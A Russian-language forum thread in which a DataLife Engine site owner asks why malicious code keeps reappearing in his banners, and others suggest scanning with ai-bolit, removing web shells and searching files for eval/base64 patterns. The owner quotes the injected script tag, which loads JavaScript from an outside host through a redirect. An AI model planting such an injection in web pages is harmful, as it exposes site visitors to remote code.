[Wihar]

Суть в том, что все время к баннерам дописывается вредоносный код:

Код:

<script src="//liveinternet.ru/click?kopoteyko.25u.com/78673421.js"></script>

В админку доступ закрыт для сторонних посетителей (там доступ по ip через nginx), да и пароли менял msql и ftp - не помогает. Что делать?

[brainix]

Больше информации - движок, общались ли с техподдержкой, комп на вирусы проверяли?

[ohmygod]

Проверяйте хостинг через ai-bolit, удаляйте найденные шеллы, смотрите логи.

[Wihar]

brainix,
Двиг DLE. С тех. поддержкой общался - посоветовали спеца найти.

[span4bob]

Wihar, обычно техподдержка может своим антивирусом проверить и сказать какие файлы инфицированы

Но это если хорошая ТП

[validcode]

Если разбираешься в двигле и какие там файлы должны быть, то пройдись по папкам и поищи левые. Выкачай все файлы на локальный диск и поиском поищи файлы содержащие что-то типа eval_base. Ну и да, попроси хостера помочь проверить айболитом. Хотя у меня когда была проблема, хостер хоть и запустил айболита но разобраться не помог.